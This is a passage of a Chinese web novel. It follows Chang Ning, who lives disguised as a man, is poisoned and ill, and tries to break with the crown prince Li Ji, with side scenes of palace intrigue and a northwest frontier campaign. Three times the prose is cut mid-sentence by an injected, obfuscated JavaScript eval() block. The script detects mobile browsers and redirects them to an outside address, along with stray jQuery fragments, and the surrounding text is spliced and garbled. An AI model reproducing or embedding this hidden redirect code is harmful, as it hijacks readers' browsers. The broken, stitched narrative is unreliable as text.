挨了常宁剑那人，捂着伤口狞笑，“你怎么这么天真，当然是拿了钱再要你的命啊！” 常宁握着剑柄，身形如燕，又是一道雪亮剑光划过，痛得那人失声尖叫。为制住常宁，一群人少不得动些拳脚。 常宁生着病，使不上多少力道，然而多年用功，步法精妙，最是滑手。胡同又狭小，众人怕伤着自己人，都是收着手的。 若论眼力，常宁高出几倍不止，是能一剑封喉的。但自幼生长在天子脚下，家中又耳提面命不得为非作歹，下不去杀手。正混战间，常宁就被一壮汉攥住握剑的手腕，动弹不得，忙叫道：“侍玉救我！” 那汉子大笑：“傻了吧，哪儿有你的人？” 张侍玉蒙着面飞身下来，踩着众人肩膀踏过去。 常宁喊道：“弄晕就好，一会儿有人来。” 张侍玉旋腕收了剑，多费了些功夫，确保他们晕得不能再晕。 常宁刚想夸两句，一抹额头，满手血迹，临水缸一照，破了块鸡蛋那么大的皮，仰天忧郁道：“帅气的我啊，何去何从？” 张侍玉抛来一个红塞细颈瓷瓶，“金疮药。” 常宁丢了脸，拔开塞子洒了些在伤口上，疼得眉心直皱。 她怕弄进眼睛里，上药也上得潦草。张侍玉见了，一手托着常宁下巴，一手轻颤着瓷瓶洒药末，看常宁眨巴着眼望天。 “好了，”张侍玉收回手，提醒道：“这些得罪人的事，往后还是少做地好。” “我既见到了，什么也不做，心里就总堵着一团气，”常宁笑笑，“再说了，我要什么都不做，就也遇不见侍玉你。” 张侍玉想了想，“算了，我跟着你。” 书剑气喘吁吁地过来，眼泪珠子落了一地，“少爷啊，可算找到你了！” “别哭别哭，我没事。” 几个年纪不大的少年从书剑背后冒出来，为首那个姑娘懒洋洋道：“我早说了，你家少爷在这儿。我还去报了官，一会儿官兵就过来了。” 他们没习过武，帮不上什么忙，只藏在暗地里，正准备嚎一嗓子引人过来，就下来个高手。 书剑抹抹泪，注意到张侍玉了，登时眼前一亮，“这可真是有缘，竟还有遇见的一天。” 常宁低头笑。 这哪儿是才遇见啊，都多少天了。 65. 坚持！ 常宁难得出门，回府上了药，也不大困倦，遂到府中去看望公孙瑾的母亲。 郑娘子是个和气的人，又待常宁好，常宁很喜欢和她来往。公孙瑾离京远行时，常宁都会派人请郑娘子到府上客居，以免她遭到公孙瑾仇敌的报复。 见了常宁额上的伤，郑娘子心疼坏了，扯着常宁手，塞了各类药来。 常宁哭笑不得，瞧见案上的绣棚，“小伤，不值当惊慌。郑姨，大冷的天，怎么不点炭？可是有人怠慢了你？只管说与我听就是。” 郑娘子道：“阿谨都要及冠了，眼看是要成家的年纪。我没别的长处，只有绣工尚可，总得给他和新妇攒些银钱。你和阿谨要好，让我住在这儿，我没得再给你们添麻烦的理。” 常宁笑道：“累着了郑姨，那才是我的麻烦。” 郑娘子眉开眼笑，忽地想起一件事，“阿谨走时留了封信，要我见到你时给你。” 常宁捏着信封辞别，走远后将信收回衣袖里。她不太喜欢公孙瑾，这种不着急送出的信，一看就知道是无关紧要的事，常宁也不急着拆。 倒是姜夫人，收到了常宁从孟府送来的信，又听说了常宁碰到额头的消息，扯了常宁手，含着泪细看。 常宁搂着姜夫人脖颈，歪在姜夫人身上蹭她的脸，嗓音透着些许虚弱，缠了白纱布的额下是一双弯弯的笑眼，“不要哭了娘，我抱着你。我喜欢抱你。” 姜夫人倏然忆起幼时的常宁。 常宁是个黏人的孩子。可既要扮做男儿，年岁渐长，再不好与姜夫人亲密的。姜夫人费了好大的功夫，常宁才泪汪汪地应了，小小的人，往后见了母亲，也只是眼巴巴站在几丈外仰头看着。 玉雪可爱的小常宁同眼前透着病气的常宁融合。 泪水决堤，姜夫人紧紧拥住常宁，声音几不可闻：“娘后悔了。” 若没有叫常宁女扮男装，常宁就不必寒冬酷暑挎着书袋去学堂，不必吃苦涩的药，更不必遭受这无妄之灾。 姜夫人最爱的这个孩子，本该无忧无虑、吟风弄月，闲时赏花念诗，随西席在府中自在散漫地消磨时光。 常宁笑道：“娘，我不后悔。我喜欢被先生敦促着的滋味，更喜欢四处游荡。我还能帮到孟姑娘。” 姜夫人虽是一叹，但视线触及常宁额头，眸光微黯，“活着总比什么都好。你若没有中意的人，爹娘也能养你一辈子。你同我讲讲孟姑娘。” 常宁也曾派人打听过，又碰过几次面，知之不多，只知道孟娴不受孟尚书喜爱，在府中存在感极低。更让常宁吃惊的，是孟尚书和父母、妻妾的陈年旧事。 姜夫人摩挲常宁脸颊，“是个可怜的孩子，等娘再看看，不会叫你伤心的。”她额头与常宁相抵，轻抚常宁肩背，嗓音温柔，“宁宁，你在娘这里，是不一样的。” 常宁弯眸：“孟姑娘也是不一样的。我有娘亲，孟姑娘也有娘亲。但天下这么多娘亲，我的娘亲只有一个，我最爱的也只有娘亲你。” 姜夫人眉心微动，对那位素未谋面的姑娘升起怜爱之心。而这爱，又与她待常宁的不同。 眼前这个孩子，与姜夫人血脉相连，哪怕十多年来日夜相伴，也还是会让姜夫人一次次地震颤，骄傲又心酸。 …… 今日实在劳累，常宁回去后，很快就昏睡过去。 她房里一向不留人，即便酣睡之际，惊艳的面容上也还是带出一分遮不住的虚弱。 李稷坐在床沿，俯身看了许久，直到常宁眼睫轻轻颤了一下，那道清浅绵长的呼吸声也悄然改变。 “睁眼。” 常宁不搭理。 耳边很久都没有动静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有一桩，”常宁微微坐直，“殿下，我们该结束了。” 66. 坚持！ 李稷丹凤眼微沉，若无其事道：“你烧糊涂了。” 他抓住了春天，就绝不会轻易放手。 常宁道：“我没发烧。” 李稷站起来，负手而立，背对常宁，“若是为这毒药而来，孤已有眉目，会给你交代的。” 常宁也从榻上下来，来不及披衣，只趿拉着鞋子，耸肩笑道：“还是救不了我，是么？” 李稷道：“会有办法的。无论还剩下多少天，我们都应当在一起。” 常宁听罢，笑着摇头，“不，殿下，剩下这些日子，我想和我爹娘在一起。” 尽管很无耻，李稷还是道：“你不愿意同孤在一起，可京中还有你的朋友，为了他们，你也不留下吗？” 常宁静静听着，回道：“殿下，我此行不为旁人，为的是我自己。” “你？”李稷拧眉。 常宁道：“我爱美酒华服，也爱登临名胜、游玩享乐，但我不知道我要做什么。殿下爱权，云策要做武将，公孙谨要做尖刀，孟姑娘要经商……只有我，连一个最微末的志趣都没有。我没有到过京城和外祖家以外的地方，未曾见过文人墨客口中的大好河山，未曾见过刀光剑影中的江湖。我不想从别人的口中得知这些，我只想自己去看一看。” 李稷沉默一瞬，“孤呢？” 难道这么多时日，他在常宁眼中，也只是一个能随意割舍的无关紧要的一部分？ 常宁道：“这不一样，殿下。我从未阻挠你追权逐利。我只是想去看一看，我听了那么久的世界，究竟是什么模样。我想去试一试，我究竟想做什么，我究竟能做什么。” 李稷说：“世间总会有遗憾。你的身体不适合远行。待在京城，孤会为你延请天下名医，让你活得更长久。” 常宁摇头：“若是这样日复一日地活着，我宁愿即刻赴死。这样的日子，过上一百天、两百天，一年、两年，又有什么区别呢？” 她眸光决绝坚定，叫李稷心尖一滞。 再没有哪一刻，李稷如此清晰地认识到，再不能将常宁当做从前那个心地柔软的少年。 但李稷从不放弃挽留，“何不参政？你会迷恋上权势的滋味。” 常宁道：“我得到权势的那一刻，就注定有了与我不死不休的仇敌，哪怕我们素未谋面。我不喜欢与人为敌、日防夜防的滋味。” 李稷垂眸。 这便是他与常宁最大的不同之处。 常宁憎恶官场险恶，思的是退。李稷则不然，李稷只会拼力攥紧世间最大的权势，让这世上无人能撼动他一分一毫。 如果常宁没有遇到李稷，常宁是能达成所愿的。 李稷苦笑：“你不能退。没人会放过你的。” 常宁笑道：“殿下，不是我不能退，是我们不能都退。我被针对，不是因为我是我，而是因为我靠近了您。如果您表现出对我的厌倦，或是我无法再引起您的波动，我不会出事的。” 李稷道：“你若锐意进取，与孤一同面对困难，何愁不能化解危局？” 常宁能选择进退，李稷只能选进。常宁退，李稷日后再见常宁，必定难上加难。 李稷如何能甘心。 “殿下，古语云:君子有成人之美。我们相识多年，我只想将生命的最后这段时光掌握在自己手里，还请您成全。” 李稷面色铁青：“孤从不是君子。” 常宁也冷了脸，“殿下，止步。我不想日后回想起您，只能想到无止境的争吵。” 李稷一甩衣袖，踩在窗棂上，消失在夜中。 …… 三皇子府中。 “母后，救我——” 暗牢阴湿，李秩被捆缚在十字架上，目光惊恐地看向李稷。 李稷手持铁钳，夹着滚烫火热的烙铁。火红的铁块与李稷冷酷的面容交相辉映，三二皇子止不住觳觫。 “皇兄，哥哥，哥哥！我什么都没做，我只知道吃喝玩乐，求你，求你放我一马，我一定会向母后求解药的。” 三皇子容貌上更随王皇后，一向是贵气十足的。此刻，这张英俊的面容却被泪汗打湿，黏黏腻腻。 他生平没什么大志向，只是贪图享乐了些，哭求道：“皇兄，皇兄，我从来没有奢求过皇位，你放过我吧！” 李稷未置可否，只问道：“若是母后为你争到皇位，你也不要么？” 三皇子愣了一瞬，立马摇头表态：“皇兄，我绝不会抢你的皇位的！” “放心，”李稷笑道，“哥哥也不抢你的东西，哥哥只是要你帮忙拿一味药。” 两个魁梧的侍卫各自捧着一大海碗药，捏住三皇子下颌，逼他一滴不漏地喝下去。 三皇子只觉体内一股热潮汹涌，满脸红潮。尽管热浪滔天，他还是出了一身冷汗，几乎立时就觉出不对，“这是千丝绕，这是无解的，无解的。皇兄，我做了什么，你要如此害我？” 李稷眸子微眯，“你早就知道这东西？” 三皇子只是潸然泪下,“皇兄，我哪里挡了你的路，我们兄弟勠力同心，一起对抗二皇子，难道不好吗？” 李稷呵笑一声，略一抬手，两个侍卫手刀打晕了三皇子，“带他回去。” 翌日，未央宫里一片混乱。 皇后鲜衣凤冠，满目疼惜地望向幼子，“本宫去找陛下！” 大宫女连忙阻止：“娘娘不可!”她扶住盛怒之中的皇后，耳语道：“储君必不能身体有缺。三皇子大业未成，咱们须得悉心瞒着，不能走漏一丝风声。” 宫女陪伴皇后多年，为皇后出谋划策，深得皇后信赖。她没出口的另一层意思，则是保护太子殿下，至少三殿下之事暴露时，他们还有太子殿下可做退路。相比二皇子，三皇子即位带来的利益最高，其次则是太子殿下。当然，这些都要等到皇后盛怒退却、能够权衡利弊时才能出口。 皇后怔然点头：“是要瞒着。秩儿，你先到府中去，母后给你拨几个太医。你舅舅那边，母后也会打招呼，私下里在民间广寻名医。” 三皇子病歪歪的，迎风落泪，未衰而先有死气，“母后，我是不是要死了……” 皇后正是爱盛之时，好一通安抚，“秩儿不怕，秩儿会得偿所愿的。” 是夜，三皇子府，侍卫长对下属耳提面命，满意地带队巡逻。 今晨，三皇子殿下忽然说府上入了贼人，要他们将贼人缉拿归案。可侍卫长对天发誓，他绝没有见过二皇子口中的贼人，府上甚至连一点踪迹都没有留下。 但三皇子骂人，侍卫长夜只能听着。今夜夜朗风清，侍卫长望着重新调整过的布防，颇为自得，迈着轻快的步伐离开。 三皇子口中含着泔水巾，瞪大眼看侍卫长意气风发地从门缝中消失，险些被嘴里奇异的滋味恶心地晕过去。 两个魁梧的暗卫在三皇子身上一顿摸索，找出一瓶丸药，“这就是解药吗？” 三皇子反应激烈，当下就要去抢。暗卫瞟了一眼，心下有了定数，将人劈晕。 常宁读过的佛经不多，也很少去听大师开坛布道，但也曾听过人生八苦。 当李稷那张脸再次出现在常宁面前时，常宁想起的便是“怨相会。” “殿下，您来做什么？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919047|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尽管常宁语中带笑，李稷还是被这疏离微微刺痛。 他曾见过常宁最不设防的模样，也就更能分得清，常宁在刻意与他保持距离。 将丸药并钻研出的药方放在案上，李稷道：“这药能暂时压制毒素。你不要入口，让空智大师研究过，重新捏了丸药给你。” 常宁焉有不收之理：“谢谢。” 李稷立在常宁身前，看常宁绕过他，自顾自到书架前坐下，执了卷书边抿茶边看，明摆着是赶人的姿态，忽地一抹心酸涌上心头，“孤做错了什么？” 常宁诧异抬头，拧眉思索一瞬，笑道：“都还好。只是我不喜欢这样的生活。也许对我们来说，分离才是最好的选择。你在陛下那里更有分量，我也可以圆我一个遗憾。至少我走时，除了放不下爹娘，是无怨无悔的。” 李稷一字一句道：“对孤来说不是。孤无法忍受与你离别的日子。你知不知道，只要熬过去这一段，就没有什么能阻止我们。” 常宁问：“同床异梦，貌合神离，你也能接受吗？” 李稷：“至少我们在一起。你是因为那些不好的时光，才如此消沉么？” 常宁扶额苦笑，“何必呢？殿下，我从前既选择你，就做好了承担风险的准备。那些往事，我当时是怨过痛过。可我们若结束，这些龌龊自然也就不会再提。若继续，这些龌龊便不能轻轻掲过。况且就如今来看，若再继续下去，我便又平添一桩遗憾。” 李稷道：“遗憾才是人生常态，世上本就没有十全十美的人。你在外风餐露宿，说不得一场兵祸匪祸就要了你大半条命。连活着都做不到，何谈追寻？” 常宁说：“这是我应当考虑的。你说我是何不食肉糜也好，不知人世疾苦也罢。我不管你怎么看，即使我在你眼里面目全非，我也会去做，哪怕为之丧命也心甘情愿。我想去找我的价值。” 李稷呼出一口长气，劝自己冷静。整日里把追求放在口边，分明就是这些富贵子弟饱食终日无所事事下的一种极端表达，相对于放浪形骸，已经是一种极好的状态。 他只需要帮常宁找到常宁所谓的“价值”，移花接木，找出既能让常宁心甘情愿留在京城，又能实现心愿的路径。京城之中，谁人不知英国公府仁义之名，不知有多少人受过英国公府恩惠。常宁承祖辈余泽，更是青出于蓝胜于蓝。要说追寻，李稷却觉得常宁所追寻的一切近在眼前。 常宁多熟悉李稷，此刻又紧紧关注着他，焉能不知他在想什么，“殿下，这是不一样的。钱财能解决多数的烦恼，而我最不缺的就是钱财。可我的钱财是我娘给我的。换了旁人，处在我的位置，说不定做得比我更为人称道。” “孤就不会。”论钱财，论家世，魏都中比常宁好的不知凡几，却没出过第二个英国公府，也没出过第二个常宁。 李稷感到一阵愤怒，止住话头。 常宁太执拗。 李稷真希望常宁这执拗用在别处，比如永远和李稷在一起。 而不是如现在这般，独留李稷一个人，既要想方设法克服世俗异样的目光，又要面对常宁的退却。 常宁也知不能今夜不能再继续下去，主动递台阶，“我枕边有封信，忘看了，能帮我拿一下吗？” 床榻间都是常宁的气息。李稷蓦地回想起曾与常宁同榻而眠的日子，心绪渐渐平静，甚至涌出一丝久违的甘甜，指尖夹着那封薄薄的信，缓步递给常宁。 常宁拆开信封，几息之间就看完了这封简短的信，神色凝重，直截了当问道：“殿下，您有没有什么瞒着我的事？譬如今年年中时我爹落湖昏迷不醒？” 67. 坚持！ 西北边境，雪冷风寒。 公孙谨坐在枯木上，正拿巾子擦拭弯到上的血迹。 刀锋旋转间，一道银盔朱穗的身影跃然映于刀背上。 云策手上提着两个包裹，扬过头顶，喊道：“有人给你送东西！” “谁？” 已是暮落时分，天际昏沉。寻常时，营里应当响彻余下的号角和兵士们的呐喊。但今日经过一番苦战，魏人和羌人各有死伤，军营里便蒙上一层哀哀的死寂。 空气中漂浮着马肉味，那是伙夫营在处理战死或无力再战的战马。 云策不语，只是抛过去一个给公孙谨，“看看不就知道了。” 公孙谨牵唇一笑。 除了他母亲和常宁，再不会有旁人惦念着他了。 云策摘下银盔，一边拆包袱，一边环顾四周，小声嘟囔道：“我头一次知道，监军这么烦。这把我当什么折腾呢？” 公孙谨比云策更沉得住气，只缄口不言，静静听云策诉说，垂眸去解包袱带。军营里是允许送东西的，尤其是寒暑时分，军中制新衣，总会有体型、厚薄或细节处不符士兵的要求。若是家中能够寄来御寒物品，不失为一件好事。 有时战事艰难、国库空虚，拨来的棉被棉衣不够，有家中的接济，总比着单衣在战场上瑟瑟发抖地好。 捏着一顶形容古怪的毡帽，公孙谨忍俊不禁，“这什么东西？” 云策早就见怪不怪，“嗨，这是常宁小铺子里的。他那小铺子，原就不是拿来做生意的，是我俩拿来玩的，全是些番国来的稀奇古怪的玩意儿，没成想效果意外不错，进账可观。” 说着，云策忍不住笑起来，“等我们回去，给常宁带些西北风物，不然他要不理人的。” 公孙谨摇头：“他从不和我这样。” 云策昂首，“自然。” 刺耳的鸣金声传来，两人迅速将包袱塞进营帐，到大校场里集合。 云策一身怪力，又有家学渊源。他肚子里那些墨水，放在群星荟萃的御书房里排不上号，配上武功谋略却足够如虎添翼，短短几个月内，大大小小数十场战役，云策也一升再升，擢升左前锋。 公孙谨稍次之，又素来低调，军衔升得不快。 二皇子于行军布阵上确实有些才干。他们这边是最前端，身后还有山西、山东两处大营。因魏立朝以来，偏远南方边境小国慑于大魏威势，无进犯之心。只有北部羌人，日渐强大，野心勃勃。故而大魏主要兵力都拿来防范西北边防。 校场高台上，率先出声的，却不是二皇子，而是二皇子身边的大太监林守忠以及副将张克刚。 “接密令，大军南下，退至山西大营，即刻启程，不得耽搁。” 云策悄悄撞公孙谨，抱怨道：“羌人南下，我们怎么也南下，这不是给人家让地方吗？” 他声音不高不低，高台上自然是听不见的，周围的兵士却听得到。因调度不便，许多士兵本籍就是西北数省的，只有泰半高级将领是从京城拨派来的。听了这话，士兵便不由想到父老乡亲与妻儿受羌人凌辱的画面，再不敢轻易南撤的，一时间吵嚷起来。 话如波纹，一层层荡开。林守忠正冷嗖嗖立在高台上，耳边忽有阵阵喧嚣，眼见下方已然交头接耳，恐军士哗变，一使眼色，让副将张克刚出去解释，勉强算是稳下了军心。 云策轻哼一声，嘲笑这副将竟比将军还有派头，回顾一周，忽而戳戳公孙谨，压低了声问道：“二殿下呢？监军都不在，动什么动。” …… 这厢，常宁自问出了那句话，便不错眼地看着李稷。 李稷反问：“问这做什么？” 常宁将信引燃了，扔在炭盆里，见状，只微微叹气，“殿下，不怪乎你我冤孽一场。如今看来，确是有缘无分。” 李稷正欲开口，常宁一扬手，止住了他。 这人在常宁面前是个说不明白话的，常宁也就率先打断他，只自己说道：“你听我说，这是有人欲要离间你我。至于人是谁，你就不要找了。我想听你诉明原委，如何？事情已过去许久，无论事实如何，只要不是你动的手，我都不会再追究。” 李稷问：“若只是栽赃陷害呢？” 常宁说：“我会和他断绝往来。” 事实上，常宁如今就有些反感。公孙谨留下此信，如此挑拨离间，常宁颇不痛快，已暗下决心日后渐渐与他远离。换做从前的常宁，只因李稷瞒着她，即便知晓背后人的用意，也绝不会再同李稷继续下去。可惜常宁大病一场，人亦淡然许多，行事已不如从前意气，不能如了公孙谨的意。 更遑论常宁时常乏力倦怠，分不出精力再去处理糟心事。 一豆灯火，三两闲声，灯花倦落。常宁手执银柄挑亮烛火，看烛芯闪烁，一时被晃得困意上涌，以袖掩唇挡了挡疲态。 常宁只想好好睡一觉，见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937406|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李稷冷冷淡淡不愿作答的模样，也不欲追问，准备请李稷回去。她张了张口，还未发声，就见李稷皱眉抬起头。 “你在命令孤？” “有吗？” 常宁忽地有些委屈。她是想尽快解决问题的，但李稷却只关心她是否僭越。 盯着红烛，常宁眸中渐渐蓄上一层水雾，映出重影来。她此刻尚且能思考，闷声道：“您先回吧，有事以后再说。” 常宁是想和李稷好好相处的。她本就不喜欢吵架，也不耐烦与人冲突，病了更甚。 如今与李稷来往，常宁也理不清二人之间的关系，亦知当断不断反受其乱的道理。可每每欲断，李稷总不依。不断，常宁又深受其扰。 李稷：“不回。” 常宁有些黯然，“您不能只拿我做普通朋友吗？便是厌倦了我，抛弃了我，我也无异议的，总好过叫我不明不白地作陪。” 李稷闻言，怒火中烧，冷眸一错不错地打量常宁。 常宁微垂首，发丝都蔫蔫的，隐约能瞧见眼尾一抹湿红，当真看得人生怜。 李稷却晓得，不该怜惜的。瞧常宁话说得多漂亮，可再小心装饰言辞，也藏不住常宁的心思。 分明是常宁厌倦了李稷，欲抛弃李稷而不得。说什么“作陪”，不过也是不欢迎李稷过来。 “是你先失约的。” “你凭什么如此懦弱，一点挫折都经受不起。” “你为何又这般绝情，连看孤一眼都懒怠。” 呲拉一声，常宁攥拳站起来，身后椅子被带着退了几寸，“我没失约，我不懦弱也不绝情。你说的都是你。” 几乎是一瞬间，常宁深埋于心的话便脱口而出，“你怎么不反省自己？上一刻还对我冷眼相向，再见却要我笑脸相迎。昨日还要我落尽泪水，今日又指责我不够爱你。我情愿你换个套路，也好过反反复复地折磨人。你扪心自问，你又有爱我吗？你又有信过我吗？” “恐怕你信你身旁的奴才，都多过信我。” “你凭什么指责我？你只享受这段关系带给你的愉悦，却吝于分出半分精力来维系这段关系。” 守夜侍卫隐约听到人语声，见常宁房中亮着一点幽烛，照得人影物影乱颤，不由问：“少爷，需要帮忙吗？” 常宁的嗓音从里面传来，“无事，你继续巡逻，我念会儿话本。”侍卫便走远了，只寻思着这是哪家新出的话本，从未见过。 68. 坚持！ 常宁转过脸，避开李稷视线，一副不欲多言的模样。她余光里，李稷眉眼间亦藏着几许倦怠。 “天色已晚，殿下请回。” 常宁实在不明白，为何人与人之间闹到这地步，连一句话都说不上，却还要巴巴地凑在一起。 到如今，只是看到李稷，常宁便会生出深深的疲惫，连抬一下眼皮都难。 只是这话常宁如今也不敢说出口，暗自懊恼先前竟敢应下李稷，以至脱身乏力。 外间已狂风呼啸，夜色浓稠如墨。常宁便又提醒李稷回府，随后怔怔望着窗外发呆。 从前常宁和张侍玉常常夜间相见，自从李稷夜里来寻常宁后，就再也没见过了。 李稷忽然问：“你在想谁？” 常宁面不改色，“大师说，兴许我只有一两年的活头，我算算还剩多少天。” 李稷心头一酸，质问的话再也说不出口，只是默然离去。 常宁走到窗边望了望，确信人走了，便到净房里沐浴。由着自己沉到微烫的热水中，一面撩水，一面回忆，不多时，便摇摇头将李稷抛诸脑后。 一时半会儿睡不着，常宁便坐在圈椅里，抽了一卷通鉴就着烛火看。烛光摇曳，照在常宁蕴藉的眉眼上，不笑时带出几分冷淡来。 李稷再来时，蜡烛已经燃得只剩短短一截，在莲花样青铜底座上淌出一摊烛泪。常宁着素白里衣，枕着胳膊沉沉睡去，另一手握着卷书，垂在身侧。 捻起常宁一缕长发，李稷指尖染上湿意，取了巾子细细擦拭，直到将常宁长发擦干，又从常宁手里抽出了书卷，这才抱起常宁放在榻上。 常宁发丝披散，面如白璧，只两眉间堆起细细的褶皱。李稷伸指揉开了，又把常宁摆放出个舒服的姿势，拿锦被结结实实地盖上，方坐在榻沿打量常宁。 沉睡中的常宁，安静乖巧，浑不似清醒时，一言不合就要开口驳斥。但常宁太安静，连呼吸声都如此匀称而又几近于无。李稷食指横在常宁鼻前，又轻按常宁颈侧，感受到呼吸和跳动的经脉，一颗悬着的心才放了下来。 继而又涌上几许酸涩。 常宁比李稷还小上两岁，喉结不明显，胡荏都没有冒出来，分明还是个无忧无虑的少年人，又受病痛折磨。 李稷不由便悔恨起来，夜间不该同常宁争一时口舌之快，以至于连来的目的都忘了。 常宁眉头攒动，并未睁眼，抬手遮住口鼻，“秋浓啊，快把沉香拿出去，开窗散散味。” 姜夫人捏着常宁鼻尖都叫不醒常宁，偏一块沉香就把人熏醒了，常宁颇感绝望。 难不成往后每天都要被这难闻的味道唤醒？ 这般唤了两声，常宁耳边静悄悄的，听不到秋浓的应答，便睁开眼，不防一下对上了李稷。 “殿下？”她嗓音里带着几许闷哑，细听比之平日略柔，一双桃花眼也水润润的。 李稷扶常宁坐起来，靠在拔步床木架上，替人围好了锦被，又拿竖枕垫在常宁脊背脑后，伸手要去探常宁额头，“当心着凉。” 常宁方才还迷瞪着，只任李稷摆布。几息过去，清醒几分，便微抿着唇偏过头去。 李稷手一顿，落在常宁耳畔，将耳下的碎发别至常宁耳后，“晚间是孤不对。” 常宁已下定了决心要断绝来往，只闭上眼睛，做充耳不闻状。 李稷压下苦涩，温声道：“你曾戏言要为人传道受业解惑，孤亦知你志不在朝堂。你且在家中安心备考，待得入翰林，观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944055|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政三年，孤便遣你尽庠序之教，不拘是太学、国子监，亦或亲王西席、殿前侍讲，都由得你选。” 常宁本微微动容，及至听完，叹息道：“不必了，不需要。何况，我有得选么？恐怕等我的，只有殿前侍讲这一条路。” 李稷沉默一瞬，复又道：“孤会尽力。” 常宁睁眼，推李稷离开，“不用你管。” 这点力道，自然推不开李稷。李稷也不愿意走，捉了常宁手腕，带着常宁躺下，紧紧搂着常宁腰，“睡了。” 常宁被迫埋在李稷胸前，鼻尖都是沉香味，又气又恼，泪珠吧嗒吧嗒往下落。 李稷抹了一手冰凉，“怎么了？” 常宁道：“这是我家，你出去。” 李稷嗤笑，两指捏着常宁下颌，俯首轻啄那殷红柔软的唇瓣，冰酥酪一般凉滑，“来者即是客，你真不讲道理。” “你欺负我，”常宁被倒打一耙，一口咬上李稷下巴，直到见了血腥气，李稷也无甚反应的。 常宁更觉讪讪，眸中蒙着水光瞪视李稷。 李稷时刻关注着常宁，听常宁呼吸比平常滞涩低沉，手掌笼上常宁额头，冰凉凉一片，问道：“哪里不舒服？” 常宁恍若被一块重石压着，难受得紧，扑通扑通的心跳声听得她染上惶瑟，不安道：“胸口疼。” 李稷说：“孤揉揉。” 常宁愤愤转身，背对着他，“不疼了。” 身后，李稷一直搂着常宁。常宁动弹不得，只侧身听着耳边一声急促过一声的心跳，沮丧着小声问道：“我是不是要死了？我好难受。” 李稷撑褥，拿细棉布帕子为常宁擦拭被冷汗打湿的脸庞，柔声道：“是新药的适应期，不怕。” 69. 坚持！ 常宁却不信，“我从来没吃过这么难受的药。” 李稷笑笑，摸出一方朱漆楠木匣，塞进常宁怀里，“收好了。” 常宁掂了掂，略沉，匣里没一丝晃动的声响，应当填得满满当当，遂背身抛回去，“你的，你自己拿。” 李稷松开常宁，自去从匣中抽出数张契书，按在匣上一同递给常宁看，“孤的私产，挑了些给你，没人知道。” 常宁打眼一看，最上一张便是天香楼，往后还有诸多茶楼酒馆、布庄米库车马行，银楼地契也不在少数，竟是将衣食住行都囊括在内。 但常宁原也不需要这些，“我用不着。” 单只常宁爹娘、舅父、外祖赠予常宁的，这些年又殖产兴业，已是常宁一辈子都挥霍不完的了。 李稷强硬塞给常宁，“这里面是一半。另有一半，留在金陵，孤已派了人守候。你若遇难，不慎钱财尽丧，务必搭船往金陵去。” 常宁抬眸，狐疑地望着他。 李稷捏捏常宁脸颊，被常宁拍开也不在意，只问：“怎么了？” “狡兔三窟啊……”常宁意味深长地点点头，“你不会带出来个小豆丁，要我养大报恩吧？可要唤我义父？” 李稷额角一跳，别过脸去，“胡说。” 常宁哼笑，“那你许我如此重利，又是为了什么？” 李稷咀嚼一二，终究是咽了回去，低声道：“过不上几日，孤就要离京，归期不定。届时你要出京，孤不拦你。” “只有一点，孤在京时，你不得离京。” 常宁何其敏锐，自然察觉得出李稷意下之情。可一见李稷，往日那些龌龊便又涌上心头。只说今夜，方才吵过一架，相隔不过一个时辰，李稷态度便有天壤之别。 其人喜怒不定，爱憎必无常法。 “我为什么要听你的？”常宁抱起朱匣，砸进李稷怀里，听到李稷闷哼一声，便绕过李稷翻身下榻，“我没想过命令你，你却污蔑我。眼下你如此坦然地命令于我，为何就要我乖顺照做？” “你要的才不是爱侣，只是一个待你百依百顺的人罢了。” 李稷接住滑落的朱匣，肋上钝痛，其下血肉似乎也密密匝匝地发疼。常宁摆明了不乐意同他待在一张榻上，坐进圈椅里把玩案上一条碧玉勾金竹镇纸。 镇纸青翠欲滴，更衬得常宁指尖白皙柔润。 李稷盯视片刻，摒弃胸中异样的感受，“你莫要诱骗孤。若如你所言，宫中奴仆岂不比你强上诸多，孤却从未有过此等情愫。” 常宁漫不经心，微挑眉梢，“那随你的意好了，反正与我不相干。” 落在李稷眼中，无疑便多上一分挑衅意味，沉着脸问，“孤让你很难堪？” 常宁只顾着留心手中的镇纸，闻言不住颔首，“殿下真是天资聪颖！” 孺子可教也！ 李稷面色铁青，反复回想常宁冷冷清清睡在圈椅里的模样，告诫自己不能吓着常宁，大不了明日再来。 哪知常宁望着朦胧月色，见窗外枯枝如水墨，三两雪落声簌簌入耳，便觉心绪舒畅，一团热血涌在心头，背在身后的宽袖随微风轻拂，飘飘如在云端，“您且回吧，往后莫要再来。” 